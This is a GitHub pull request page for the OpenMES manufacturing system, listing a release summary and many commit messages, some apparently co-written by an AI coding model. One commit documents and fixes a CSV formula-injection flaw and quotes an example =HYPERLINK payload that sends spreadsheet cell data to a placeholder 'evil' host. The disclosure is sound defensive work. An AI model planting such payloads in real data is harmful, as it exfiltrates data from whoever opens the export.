Skip to content

Develop#34

Merged
jakub-przepiora merged 93 commits into
mainfrom
develop
May 24, 2026
Merged

Develop#34
jakub-przepiora merged 93 commits into
mainfrom
develop

Conversation

@jakub-przepiora
Copy link
Copy Markdown
Contributor

Major release covering 8 feature areas with 260 files changed (~22,900
additions).

ISA-95 / IEC 62264 Foundations

  • Equipment hierarchy: Site → Area → Line → Workstation
  • Material lots, sublots, and batch-step genealogy
  • Process segments library (reusable operation definitions)
  • Personnel classes with skill certifications and cert levels
  • Quality disposition workflow synced to material lot status
  • Self-declared compatibility mapping + README badge

Schedule Planner — Minute-Level Precision

  • Minute-level planning backend foundation
  • Hourly Gantt view with drag, resize, and cross-line moves
  • Default hourly/daily views start from today instead of Monday

Logging & Audit

  • Activity Logs page (audit + request + auth events)
  • System Logs page (app log, failed jobs, deployments)
  • Live tail + detail modal for both log views
  • API request logging + PIN login tracking
  • Login/logout/failed event recording

Maintenance Overhaul (closes #16)

  • Recurring schedules auto-generate maintenance events
  • Redesigned form: What / Where / When / Who / Cost sections
  • Redesigned index: chronological groups, badges, icons
  • Input validation for event_type, scheduled_at, and target

Updater Hardening (#30 — 8/8)

  • Snapshot + rollback on update failure
  • SHA256 checksum verification of release ZIP
  • Background job with status polling
  • Maintenance mode during copy + migrate
  • Composer install when composer.lock changes
  • Atomic lock against concurrent applies
  • Audit trail of update attempts
  • Full test coverage for controller, applier, and job

Inbound Quality Inspection (#14)

  • Inbound quality inspection workflow
  • Admin dashboard widget: pending count, pass rate, recent fails
  • Fix for null work_order on /admin/issues

OEE Dashboard Enhancements

  • One-click PDF download (replaces HTML print preview)
  • Inclusive 7-day default window, shift breakdown, per-line trend

Test plan

  • Fresh install via Docker — verify migrations and seeders run clean
  • ISA-95 models: create site, area, line; assign equipment; create material
    lots
  • Schedule planner: drag/resize orders in hourly Gantt view
  • Activity Logs + System Logs: verify live tail, detail modal
  • Maintenance: create recurring schedule, verify auto-generated events
  • Updater: trigger update, verify checksum + rollback on simulated failure
  • Inbound inspection: submit inspection, check dashboard widget
  • OEE: download PDF report
  • CSV export: verify formula injection neutralization
  • php artisan test — all green
  • Playwright E2E suite passes
    Manual tests :)

jakub-przepiora and others added 30 commits May 19, 2026 18:00
Implements issue #12 (Overall Equipment Effectiveness) end-to-end.

Backend
- New PHP backed enum App\Enums\DowntimeKind (Planned, Unplanned, Changeover)
  replaces is_planned boolean on downtime_reasons. Migration backfills existing
  rows and drops the old column. Changeover now counts as availability loss
  (alongside Unplanned), per industry standard.
- DowntimeService::getLossMinutes() supersedes getUnplannedMinutes() and
  filters by kind IN (unplanned, changeover). getByReason() returns kind
  metadata (kind, kind_label, kind_color, is_loss) for richer Pareto views.
- OeeCalculationService::getIdealCycleTime() — removed PG-only
  EXTRACT(EPOCH FROM …) in favor of PHP-side cycle-time calculation so the
  service runs on SQLite (tests) and Postgres (prod) alike.
- App\Support\OeeBand helper centralizes the 65/85 thresholds and the
  Tailwind class mapping previously duplicated across views.

UI
- New <x-oee-gauge> Blade component — inline SVG semicircle with three
  color zones (red <65, yellow 65-84, green ≥85), needle, and label.
  Used on /admin/dashboard (per-line widget) and /admin/oee (summary cards).
- /admin/oee gains Daily/Weekly/Monthly granularity toggle. Trend chart
  aggregates by date / ISO week / Y-m bucket and adjusts axis labels.
- New /admin/oee/print printable report with @media print rules:
  - Header with line/range/generated-at timestamp
  - Gauge + 8 stat cards per line
  - Pareto downtime breakdown colored by kind
  - Daily records table
  - Each line on its own A4 page

Security
- Print endpoint validates inputs (line_id integer + exists, dates Y-m-d,
  date_to >= date_from, range capped at 366 days) so garbage inputs return
  422/302 instead of triggering 500 + Ignition stack traces.
- Removed url()->previous() from print view's Back link (was open-redirect
  via Referer header) — now a fixed route('admin.oee.index').

Tests
- 9 unit tests for OeeCalculationService covering A×P×Q, edge cases
  (zero production, no downtime, performance cap), and the changeover
  loss semantics.
- 4 API tests for /api/v1/oee, /api/v1/downtimes, downtime-reasons schema.
- 3 console tests for oee:calculate command.
- 9 security tests for the new print endpoint (auth, RBAC, input
  validation, XSS escape, SQL-injection rejection, open-redirect proofing).
- 4 Playwright E2E specs (smoke + screenshots) against the live stack;
  playwright.config.ts + package.json added at repo root.

Net effect on full suite: 658 tests, 1681 assertions — 0 new regressions.
The legacy is_planned cleanup also fixed 15 unrelated pre-existing failures
in the main suite (31→16 errors).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Print button now downloads the PDF directly (Content-Disposition: attachment)
instead of opening an intermediate HTML page that required the user to invoke
the browser print dialog manually.

- New /admin/oee/print/pdf route (oee.print.pdf) backed by Barryvdh\DomPDF
  (already in composer for Batch Series Reports).
- New admin/oee/print-pdf.blade.php — dompdf-friendly view: DejaVu Sans,
  inline CSS, tables instead of flexbox, basic SVG gauge that dompdf can
  render. Carries through the same content as the HTML preview (gauge,
  8-stat header, Pareto-by-kind, daily records, threshold legend).
- Filename pattern: oee-report-{line-slug|all-lines}-{from}_{to}.pdf
- Controller refactored — gatherPrintData() shared between print() (HTML
  preview, kept for direct URL access) and printPdf() (new download).
- Validation rules and date-range cap apply to both endpoints.
- index.blade and show.blade buttons re-pointed to oee.print.pdf, target=_blank
  removed since browsers handle the inline download themselves.

Tests
- 3 new feature tests in OeePrintSecurityTest covering: RBAC on PDF route,
  PDF content-type + %PDF- magic header + attachment disposition, validation
  rejection (invalid line_id, invalid date, range cap).
- 1 new Playwright spec (oee-pdf-download.spec.ts) clicks the button and
  asserts a download event with the expected filename pattern.

Full suite: 661 tests, 1692 assertions, 0 new regressions.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…e trend

Fixes 4 issues from manual testing:

1. Filter default window was 8 days (subDays(7)) while seeder generated 7
   days — the first day appeared empty. Both web and API now use the
   inclusive 7-day convention: today() and 6 prior days.
   - Web\Admin\OeeController::index/show/print: today()->subDays(6)
   - Api\V1\OeeController::show: subDays(max(0, $days - 1))

2. Daily Records "Shift" column always showed "All" because no shifts
   were configured. OeeDemoSeeder now bootstraps three full-day shifts
   per line (Day 06-14, Late 14-22, Night 22-06) and distributes
   downtimes and batches across them, so OEE is computed per shift.

3. OEE Trend chart aggregated all lines into one average bar per bucket.
   Controller now also exposes a per-line trend (one series per line).
   The view adds a hybrid Combined / Per-line toggle next to the
   Daily/Weekly/Monthly granularity switch. Combined keeps the original
   avg-with-threshold colors; Per-line draws grouped bars with a
   distinct color per line and a name legend below. The toggle only
   appears when more than one line has data.

4. Same off-by-one root cause as #1 — fixed by #1.

Plus: Playwright `getByRole('link', {name})` was switched to
`{exact: true}` since "Daily" now collides with the "Daily Records"
header literal in some locales / search modes.

Full suite: 661 tests, 1692 assertions, 0 new regressions
(16+9 pre-existing, unchanged from previous commit).
E2E smoke: 4/4 green after exact-match fix.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Implements issue #14 — inbound QC for incoming material lots with
auto-generated non-conformance issues on failure.

Schema (4 migrations)
- add_material_and_source_to_issues: issues.material_id (FK, nullable),
  issues.source (enum-like string), issues.work_order_id → nullable so
  non-conformances can exist without a production WO.
- create_inspection_plans: name, scope (material XOR material_type XOR
  generic), criteria JSON, is_active.
- create_inspections: plan_id (snapshot ref), material_id, lot_number,
  supplier_lot_ref, quantity_received, inspector_id, started_at,
  completed_at, status (pending|pass|fail|conditional_pass), notes,
  issue_id (links to auto-NC).
- create_inspection_results: criterion + spec + recorded value(s) +
  computed is_passed, snapshotted from the plan at start time.

Service — App\Services\Quality\InboundInspectionService
- start(): copies plan criteria into result rows (frozen at start).
- recordResult(): writes one criterion value, auto-evaluates pass/fail
  from criterion_type + spec_min/spec_max.
- complete(): computes overall result:
    * fail if any required result is null or false (or any failed when
      there are no required criteria),
    * conditional_pass if all required pass but at least one optional
      failed,
    * pass otherwise.
  On fail it creates a linked Issue with source=inbound_inspection,
  work_order_id=null, IssueType INBOUND_QC_FAIL (added to seeder).

API (under /api/v1)
- inspection-plans: index/show (any auth), store/update/destroy (Admin).
- inspections: index (with material/lot/status/date filters), show,
  store, recordResult, complete, stats (window pass rate).

Web UI
- /admin/inspection-plans: list + form with dynamic criteria builder
  (Alpine), scope radio (material/material_type/generic), per-criterion
  spec_min/spec_max for measurements.
- /inspections (Supervisor + Admin): tabs Pending/Recent/Failed, mini
  stats (pending count, fails in last 30d).
- /inspections/create: pick material + lot + optional plan.
- /inspections/{id}: pending → record-results form + complete button;
  completed → read-only summary with NC link if any.
- Sidebar entries under Maintenance group.

Tests (27 total, all green)
- Unit/Services/InboundInspectionServiceTest (10): pass/fail/conditional
  paths, measurement spec ranges, auto-NC creation, idempotency guard.
- Feature/Api/InspectionApiTest (10): RBAC, validation, full flow,
  filters, stats, post-completion edits blocked.
- Feature/Web/InspectionWebTest (7): guest/operator denial, supervisor
  + admin access, XSS escape in plan name, full end-to-end flow.

Full suite: 660 tests, 1673 assertions, 0 new regressions
(16+9 pre-existing, unchanged).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…t fails

Closes the last open AC of #14 (dashboard visibility for pending inspections
and 30-day pass rate). Plugs into the existing reorderable widget system:

- Migration registers `inbound_qc_overview` row in dashboard_widgets
  (zone=main, sort_order=25 between OEE 20 and Recent WOs 30). Admins can
  enable/disable/reorder it from Settings → Dashboard widgets like any
  other built-in widget.
- DashboardController computes inbound_qc_stats only when the widget is
  enabled — pending count, 30-day completed/failed/conditional counts,
  pass rate, and 3 most recent failures. Skips queries entirely when
  disabled.
- dashboard.blade.php renders 4-card grid (pending / pass rate / failed
  / conditional) plus a "recent failures" list with direct links to the
  inspection detail. Pass-rate cell is color-coded: green ≥95%, yellow
  80-94%, red <80%, gray when no completed inspections yet.
- Widget integrates with the same `$wOrder` CSS-order map used by other
  widgets, so manual reordering in DashboardWidget admin works without
  any blade changes.

Tests (+7):
- widget seeded by migration with correct defaults
- renders when enabled and has data, hidden when disabled
- CSS order reflects sort_order changes
- pass rate color thresholds match (80–94% → yellow)
- handles zero completed inspections (shows —)
- recent failure links point to inspection detail page

Full suite: 667 tests, 1694 assertions, 0 new regressions
(16+9 pre-existing, unchanged).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Issues table now allows null work_order_id for non-conformances raised
from inbound inspection. The shared issues list assumed every issue had
a work order and crashed with UrlGenerationException when generating
the WO link. Now the view conditionally renders WO or material context
(with source badge), and the controller eager-loads material to avoid
N+1.

Adds a Playwright regression test that logs in as admin and asserts
/admin/issues renders the 4 inbound NCs with Material chip and source
badge, never the route exception.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
… 1/8)

Before copying release files, snapshot every file that will be overwritten
to storage/app/update-backups/{timestamp}-{version}/, plus a manifest of
files that will be newly created. Wrap copyDirectory + migrate in a single
try/catch — any failure restores files from the snapshot, deletes the
newly-created files, and clears caches so no half-applied bytecode lingers.

copyDirectory now throws on copy/mkdir failure instead of silently swallowing
errors, which is what lets the rollback trigger. Migrate failure is also
hard-failure (was just Log::warning) — schema and files now revert together.

Keeps last 3 backups, prunes older.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
After downloading the release ZIP, check its sha256 against the value
advertised in the version manifest (top-level sha256 or assets[0].sha256).
Mismatch aborts the update before any filesystem change. Releases without
a published checksum log a warning and pass through, preserving backward
compatibility with the current getopenmes.com payload.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…hardening 3/8)

UpdateController::apply() no longer blocks on the long-running update.
It now seeds an "update_apply_status" cache entry, dispatches
ApplyUpdateJob, and redirects immediately. The whole download → verify
→ extract → snapshot → copy → migrate → cache-clear → prune flow lives
in UpdateApplier (testable in isolation) and reports progress through
the same cache key at each stage.

New GET /admin/update/status returns the cached state as JSON. The
admin banner switches to a progress mode that polls every 3s, shows
the current stage/message, stops on terminal states (completed,
failed, rolled_back), and surfaces a Reload button when done. Stale
terminal states older than 1h are ignored so the normal "update
available" banner still appears later.

Note: requires QUEUE_CONNECTION other than sync (jobs migration is
already in place). With the default sync driver the job still runs
inline, documented at the top of ApplyUpdateJob.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…ing 4/8)

UpdateApplier wraps the destructive phase (copyDirectory + migrate) in
Artisan::call('down') / 'up' so other users get a 503 instead of hitting
half-overwritten files mid-deploy. A per-update bypass secret is generated
with Str::random(32) and cached; the resulting bypass URL is surfaced in
the progress-mode banner so the admin can keep using the app in another
tab while the system is down for everyone else.

up() also runs in the rollback finally so the app never gets stuck in
maintenance mode if restore partially fails. fail() defensively clears
the flags too. The errors/503 view does not exist so --render is omitted
(default Laravel maintenance screen serves).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…ardening 5/8)

The protected list keeps vendor/ off the copy path, but if the release
ships a new composer.lock the live vendor/ will reference classes that
don't exist yet. UpdateApplier now hashes composer.lock before copy
(so the old value isn't already overwritten) and, when the hash
differs, runs composer install --no-dev --no-interaction --prefer-dist
--optimize-autoloader --no-scripts in the project root between copy and
migrate. --no-scripts is deliberate so post-install hooks don't muck
with caches mid-update.

Composer is searched for via `which composer`, /usr/local/bin/composer,
then $root/composer.phar. Missing binary is a soft failure (warning
attached to the status cache; banner shows "vendor/ may be stale, run
composer install --no-dev manually"). A non-zero exit is a hard
failure — rethrows so the existing rollback restores the snapshot and
lifts maintenance.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
19 tests, 44 assertions, all green:

- UpdateControllerTest (10) — check/apply/status JSON contracts,
  cache-driven dispatch, double-dispatch guard, admin gating.
- UpdateApplierTest (7) — verifyChecksum (no hash, top-level, asset,
  mismatch, case insensitive), setStatus persistence, pruneBackups
  retention.
- ApplyUpdateJobTest (2) — handle delegates to UpdateApplier::run,
  failed() marks cache state as failed.

Private methods covered via Reflection so source stays untouched.
Http::fake guards every remote call. RefreshDatabase + role assignment
mirrors InspectionWebTest setup.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…7/8)

New system_updates table + SystemUpdate model record every update
attempt: who started it, from/to version, state (queued, completed,
failed, rolled_back), started_at/finished_at/duration, files_copied,
error message, plus flags for checksum_verified and composer_install_ran.

UpdateApplier opens a queued row at run() start and patches it at every
significant transition (checksum ok, composer ran, completed) or marks
it rolled_back/failed in the catch + ApplyUpdateJob::failed() paths.
All audit writes are wrapped — DB outage logs a warning but never
breaks the actual update.

New GET /admin/update/history returns the last 50 attempts as JSON
(with user). UI rendering is left for a follow-up. AuditLog (generic
CRUD audit) was rejected because update isn't an entity — the
dedicated table gives typed columns instead of opaque JSON payloads.

Tests: 6 new (25 total green, 76 assertions).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…8/8)

Replace the soft cache-check guard with Cache::lock('update_apply_lock',
1800) in UpdateController::apply(). The lock is acquired before
dispatch; if a second admin clicks Update while one is running, the
atomic ->get() returns false and they see an "already in progress"
error — only one Job is ever enqueued.

ApplyUpdateJob::handle wraps run() in try/finally and forceRelease()s
the lock when work finishes (success or thrown). failed() also
forceRelease()s as belt-and-braces against deserialization crashes
that bypass handle().

Stale locks self-expire after 30 min (matches Job timeout). For sooner
recovery the new `php artisan update:unlock` command force-releases
the lock and clears the status cache.

Cross-machine concurrency requires a shared cache store (database,
redis, memcached) — file/array drivers only serialize within a single
node.

Tests: 27/27 green, 88 assertions. New tests cover (1) second
concurrent apply does not redispatch the Job and (2) lock is released
once the Job finishes.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…us handling

Two issues found during E2E verification with a seeded check_result and
empty status cache:

1. The refreshStatus comment "Treat empty / missing state field as 'no
   in-flight update'" contained a literal double quote which terminated
   the surrounding HTML x-data="..." attribute early, breaking the
   entire Alpine expression with "progressMode is not defined" and
   "Missing catch or finally after try" — the banner stopped working.
   Rewrote the comment so it doesn't contain a double quote.

2. response()->json(null) from /admin/update/status renders as {} which
   is truthy in JavaScript, so the existing if (!s) check never fired
   and the banner kept switching to progress mode on every page load.
   Added !s.state guard alongside.

Verified end-to-end via Playwright: with status cache empty and
check_result seeded with v999.0.0, the banner now shows "Update
available — OpenMES v999.0.0" + changelog link + Update now button.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…nment

Three validation bugs surfaced when the form let users pick options the
DB enum and controller didn't accept:

- Form had "preventive" and "calibration" options; DB enum is
  planned/corrective/inspection. Submitting either failed with a 422
  validation error and edit dropdown rendered as "Select type" for
  existing rows. Removed both options, renamed "Preventive" to "Planned".
- scheduled_at was required in HTML but nullable in the controller
  validator. Tightened to required|date in store and update.
- tool_id / line_id / workstation_id were all nullable independently,
  allowing events with no target. Added required_without_all so at
  least one of the three must be set.

13 new feature tests + 3 existing tests patched. 30/30 maintenance
tests green.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Rewrite admin/maintenance-events/index.blade.php from a flat table into
chronologically grouped cards:

- Overdue (red border-left, "N days overdue" badge)
- This week (pending/in_progress within the current week)
- Later (scheduled beyond this week)
- Completed last 30 days (compact, with duration + actual cost)

Each card uses a Heroicons type glyph (calendar/wrench/magnifier),
colored status badge (amber/blue/green/gray; in_progress pulses), and
colored type badge. Meta line shows assignee, location, scheduled time,
in-progress timer, and actual cost where applicable. Actions are
icon-only buttons with title tooltips: view, edit, start, complete,
cancel — only the ones legal for the current status render.

Filter form added (search + status + type + line, all server-side via
the controller's existing query). Card extracted to
partials/card.blade.php so the index file stays readable. Controller
gets one-line change: 'costSource' added to the eager-load.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…olution on edit)

Rewrite admin/maintenance-events/{create,edit}.blade.php with a shared
partials/form-fields.blade.php so the two pages stay in sync:

- What: title, event type, description
- Where: line / workstation / tool selects with hint "select at least
  one" (mirrors the controller's required_without_all rule)
- When: scheduled_at (required)
- Who: assigned user
- Cost: cost source, actual cost, currency (with hint about
  end-of-event use)
- Resolution: started_at, completed_at, resolution_notes — edit page
  only, and only when status is in_progress or completed

Controller update() now accepts started_at + completed_at
(after_or_equal:started_at). resolution_notes was already accepted.
Placeholders unified to "— None —" (was inconsistent: "Not a tool",
"Not a line"). Top-of-form error summary added.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
New maintenance_schedules table backs a Preventive Maintenance module:
each schedule defines a target (line/workstation/tool), frequency
(daily/weekly/monthly/quarterly/annually/by_hours), interval, optional
preferred_time, and lead_time_days. The hourly artisan command
maintenance:generate-events walks active schedules whose
next_due_at <= now() + lead_time_days and creates a MaintenanceEvent,
then advances next_due_at by the configured interval. Dedupe on
(schedule_id, scheduled_at) keeps replays idempotent.

maintenance_events gets a nullable schedule_id FK so generated events
link back to their source. MaintenanceEvent::schedule() and
MaintenanceSchedule::events() expose the relation; FK is
nullOnDelete so deleting a schedule does not orphan past events.

Admin UI under /admin/maintenance-schedules: index with empty state +
filter, create/edit forms sectioned What/Where/When/Who, edit page
exposes is_active + manual "Generate now" action. Sidebar link added
under Maintenance Events.

25 new tests (14 service, 11 controller). All 71 maintenance tests
green.

Notes: by_hours frequency advances as wall-clock for now — coupling to
machine runtime/OEE is a follow-up. No DB-level unique constraint on
(schedule_id, scheduled_at); the application-level guard suffices for
the hourly job but could race under heavy parallel runs.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
)

- fix(maintenance): validate event_type, scheduled_at, target assignment
- feat(maintenance): redesign index with chronological groups + badges
- feat(maintenance): section forms into What/Where/When/Who/Cost
- feat(maintenance): recurring schedules auto-generate events (closes #16)

71 maintenance tests green. Visually verified via Playwright.
New request_logs table captures meta of every authenticated HTTP
request a user makes — method, path, route name, status, duration,
IP, user agent. POST/PUT/PATCH/DELETE always log; GET/HEAD are
sampled 1-in-10 (sampled=true) to keep volume bounded without
losing the shape of user navigation.

LogRequest middleware is appended to the web group so $request->user()
is resolved by StartSession+auth before logging. Failures (DB outage,
constraint races) are caught and downgraded to Log::warning so a
broken audit pipeline never breaks the request.

Skip prefixes: livewire/, build/, _debugbar/, _ignition/,
admin/update/status — these are polling/asset noise.

RequestLog model mirrors AuditLog: const UPDATED_AT=null, throws on
update/delete to enforce immutability. created_at only, no body or
response payload stored (meta-only by design — entity state changes
are already in audit_logs).

9 tests green covering anon skip, sampling distribution, mutating
always-on, skip prefixes, meta-only columns, immutability on both
update and delete, and fail-safe behavior under DB outage.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Tier C — LogAuthEvent listener subscribed in AppServiceProvider writes
to audit_logs on Login/Logout/Failed:
- login         action=login, user_id and entity = the user
- logout        action=logout, falls back to null user when already
                 logged out
- login_failed  action=login_failed, user_id=null, before_state stores
                 the attempted email/username (NEVER the password)

Each handler is wrapped in try/catch so a broken audit pipeline never
breaks authentication itself. Request resolution is also guarded so
the listener works under console/test contexts.

Tier D — added Auditable trait to Batch, BatchStep, ProcessConfirmation,
and MaintenanceSchedule. Inspection models live on a separate branch
and were skipped here.

9 tests green (5 listener + 4 trait integration). Pre-existing suite
failures unrelated to these changes.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
New /admin/logs/activity surfaces a single chronological timeline
merging:
- audit_logs (entity CRUD + login/logout/login_failed from Tier C)
- request_logs (navigation + state changes from Tier B middleware)

Filters: date range (defaults to last 7 days), user, source
(audit vs request), entity type, action. Each source pulls up to 200
rows under its own filters, then PHP-merges and paginates 50/page —
dialect-agnostic instead of relying on SQL union semantics.

Rows render with action-colored badges (created/updated/deleted/login/
logout/login_failed) for audit entries and method-colored mono badges
(GET/POST/PUT/DELETE) for request entries, with status + duration_ms.
Export CSV with 5000 rows/source cap.

Sidebar gets "Activity Logs" alongside the existing "Audit Logs" so
the legacy view stays reachable for now.

8 controller tests green (27 assertions). Verified end-to-end via
Playwright: navigating the app then visiting the page shows real login
events, sampled GETs, and entity Updated/Created rows in one timeline.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
New /admin/logs/system page with 3 tabs aimed at dev/system
diagnostics, not business activity:

- Application log: reads storage/logs/laravel-YYYY-MM-DD.log (falls
  back to laravel.log). Bounded tail read — files larger than 2 MB
  are seeked to (size - 2 MB) so multi-GB logs don't blow up memory.
  Parses Laravel format, folds stack traces into the entry's context.
  Filters by date (from rotated file list), level, search.
- Failed jobs: paginated list from Laravel queue's failed_jobs table.
  Renders payload + exception preview; retry button is placeholder
  pointing at `php artisan queue:retry`. Info card when the table
  doesn't exist (queue not yet provisioned).
- Deployments: pulls from system_updates if present. On this branch
  the table arrives with the updater hardening series, so it
  currently shows an info card explaining "requires v0.12+ schema".

Tail endpoint /admin/logs/system/tail returns the last 100 entries
as JSON for future SSE/poll integration.

13 tests covering admin gate, default tab, multiline parsing, level
+ search filters, empty file handling, missing-table info cards,
invalid tab → 404.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds Tier B (request_logs middleware), Tier C (auth event listener),
Tier D (Auditable on Batch/BatchStep/ProcessConfirmation/MaintenanceSchedule),
plus two new admin pages: /admin/logs/activity (unified user timeline)
and /admin/logs/system (laravel.log + failed jobs + deployments).
A security review surfaced a CSV formula-injection vector in the new
Activity Logs export: csvEscape() only quoted ", , \r, \n and did not
prefix-escape cells starting with =, +, -, @, TAB, or CR. A logged-in
user could set their display name to =HYPERLINK("https://evil/?c="&A1,
"x") via /profile (SettingsController::updateProfile validated name as
just string|max:255) and have that payload land in any subsequent CSV
export an Admin opened, allowing data exfiltration via spreadsheet
formulas (CWE-1236).

Three additional unguarded CSV exports were found in audit and bypassed
the same way:
- Web\Admin\AuditLogController::export — username column
- Api\V1\AuditLogController::export — same field
- Api\V1\ReportController::convertReportToCsv — batch_completion and
  downtime reports used native fputcsv, which does NOT escape formulas

All four exports now route through a new App\Support\Csv helper
(Csv::escape, Csv::row) that:
- Prepends an apostrophe to any cell whose first character is a known
  formula trigger
- Then applies standard RFC 4180 quoting
- Emits rows terminated with \r\n

Defense in depth: name fields in SettingsController::updateProfile,
Web\Admin\UserManagementController (store + update), and the two API
StoreUserRequest / UpdateUserRequest now require the same Unicode
letter/number/space/dot/hyphen/apostrophe regex as RegisterRequest,
rejecting formula-trigger characters at the input boundary.

Tests
- 9 new Csv unit tests, 23 assertions, including a data provider over
  7 formula-trigger payloads (=, +, -, @, TAB, CR, DDE classic).
- 1 new ActivityLog feature test asserts that a payload like
  =HYPERLINK(...) appears in the streamed CSV in its neutralized form
  (prefixed with apostrophe) and never as a raw formula.
- AuditLog API tests + User API tests stay green (regex does not
  reject existing seeded names).
- CsvImport failures in the suite are pre-existing (verified by stash)
  and unrelated to this change.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The codebase has email-verification routes wired (verification.notice,
.verify, .resend) but the User model never implemented MustVerifyEmail
and registration redirects straight to the dashboard. Existing users
and new sign-ups had email_verified_at = NULL, which would break any
future feature that gates on $user->hasVerifiedEmail().

RegisterController::store now stamps email_verified_at on creation so
new accounts ship verified. A backfill migration sets the column on
every existing NULL row.

Same change has been applied live on demo.getopenmes.com (53 rows
backfilled, RegisterController patched in the running container) so
the demo doesn't have to wait for a deploy.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
jakub-przepiora and others added 29 commits May 24, 2026 01:09
…evron toggles submenu

- Split Orders group button into link (navigates to /work-orders) + chevron (toggles submenu)
- Collapsed/mobile sidebar: clicking Orders navigates directly instead of toggling invisible submenu
- Rename sidebar submenu item "Work Orders" → "All Orders"
- Add Polish translation for "All Orders"
…s, hide SQL errors from users

- Add max:99999999 to planned_qty/actual_qty/produced_qty validation in 6 controllers
- Replace raw exception message with generic user-friendly error in WO create
- Log real error with report($e) for debugging
Comments from review:

1. ResetPackagingShiftCommand: wrap $description in __() via constructor.
2. PackagingApiController + PackagingEanController: replace whereRaw and
   like+concat with Postgres ilike (no SQL fragment with user input).
3. PackagingApiController.scan + storeEan: capture $validated from
   validate() and pass only validated keys into ::create() / queries.
   Same change in PackagingController.scan.
4. PackagingController + PackagingEanController + PackagingApiController:
   default messages to English with __(), Polish translations added to
   lang/pl.json.
5. LabelGenerator: replace '-' fallback that was previously em-dash.
6. _label.blade.php: drop @php block; LabelGenerator now precomputes
   has_qr, has_barcode and content_width on the label data array so the
   blade is logic-free.
7. label-print-dropdown partial converted to a class-based component
   (App\View\Components\LabelPrintDropdown) so no PHP code remains in
   the blade view. Callers in work-orders/show.blade.php updated to
   <x-label-print-dropdown>. Old partial deleted.
8. Proactive: $woLabelTemplates query moved out of
   work-orders/index.blade.php @php block into WorkOrderManagementController::index.

Verified:
- php artisan test --filter=Packaging passes 30/30
- ./vendor/bin/pint clean
- php artisan route:list shows all packaging.labels.* routes
- php -l clean on all touched files
…rly cards, seed WO with planned dates

- Unassign now also clears planned_start_at/planned_end_at (fixes WO staying on Gantt after unassign)
- Hourly view: add visible X (unassign) button on card hover
- Hourly view: reduce resize handle width (w-2 → w-1.5) to make drag easier on short cards
- Seeder: add planned_start_at/planned_end_at to demo work orders so they appear on planner
…to-core

# Conflicts:
#	backend/app/Http/Controllers/Web/Admin/WorkOrderManagementController.php
… 3 months of work orders

- Move create_allocation_lot_picks migration from 123615 to 200200 (after material_lots 200000)
- Move add_tenant_id_to_allocation_lot_picks from 130000 to 200300
- Generate ~46 additional work orders spread over 3 months (-7 to +83 days) with varied statuses
…, taller hourly rows

- Add overlap detection for shifts (handles overnight shifts crossing midnight)
- Block creating/editing shift that overlaps existing active shift
- Add "Manage Shifts →" link in System Settings → Schedule tab
- Increase hourly planner row height 1.5x (76→114px rows, 60→90px cards)
- Add Polish translations for shift messages
- Wrap all flash messages in __()
….5→py-4, text-10→text-11, shift cell py-2)
refactor(packaging): promote module to core + add label printing
… operator queue), fix license badge

- Add Beta status badge and notice to README
- Add 4 screenshots: dashboard with OEE, weekly planner, hourly Gantt, operator queue
- Add Production Planner section with feature list
- Fix license badge (MIT → AGPL-3.0)
- Fix demo URL (demo-2 → demo)
- Fix PostgreSQL version badge (14+ → 17+)
…n docker-compose

- Add docker-publish.yml workflow: builds and pushes to ghcr.io/mes-open/openmes on tag push
- Tags: semver (0.12.0), major.minor (0.12), latest
- docker-compose.yml: image pulls from ghcr.io by default, falls back to local build
- Set OPENMES_VERSION env var to pin a specific version
@jakub-przepiora jakub-przepiora merged commit 57c8d73 into main May 24, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[feat] Preventive maintenance — automated scheduling with recurrence rules

2 participants